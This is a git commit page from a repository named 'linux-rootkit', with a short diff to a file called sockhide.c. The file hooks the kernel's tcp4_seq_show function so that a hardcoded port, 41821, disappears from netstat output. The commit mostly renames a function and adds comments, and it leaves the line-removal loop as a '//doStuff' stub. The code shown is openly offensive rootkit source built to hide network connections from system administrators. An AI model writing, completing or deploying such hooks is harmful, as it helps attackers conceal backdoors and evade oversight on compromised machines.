linux-rootkit

commit be9144ac05554d00538c19c0194262684ff98eb3
parent 7928544127cc6a37822d5032a2f5bf6fec838c02
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sat, 12 Dec 2020 01:56:07 +0100

Minor refactors

Diffstat:
M
src/sockhide.c
 | 
10
+++++++---

1 file changed, 7 insertions(+), 3 deletions(-)
diff --git a/src/sockhide.c b/src/sockhide.c
@@ -10,6 +10,7 @@ const char *netstat_sep = "\n";
 
 typedef unsigned short port_t;
 
+//TODO add list with [PROTO:PORT] structs
 static port_t to_hide = 41821;
 
 static int (*tcp4_seq_show)(struct seq_file *seq, void *v);
@@ -43,14 +44,17 @@ unhook_show(void)
 }
 
 //Hide by removing the appropriate line and decreasing the sequence number accordingly
+//Sequence number is always 4 digits for tcp (e.g.: https://elixir.bootlin.com/linux/v4.19/source/net/ipv6/tcp_ipv6.c#L1884)
 static void
-hide_netstat(char *port, struct seq_file *seq)
+hide_netstat_tcp(char *port, struct seq_file *seq)
 {
     char *tok;
     char *cur = seq->buf;
 
+    char ret_buf[seq->size];
+
     while((tok = strsep(&cur, netstat_sep))) {
-        DEBUG_INFO("Token is %s\n", seq->buf);
+        //doStuff
     }
 }
 
@@ -67,7 +71,7 @@ g7_tcp4_seq_show(struct seq_file *seq, void *v)
     sprintf(hex_port, ":%04X", to_hide);
 
     if(strstr(seq->buf, hex_port))
-       hide_netstat(hex_port, seq);
+       hide_netstat_tcp(hex_port, seq);
     
     return ret;
 }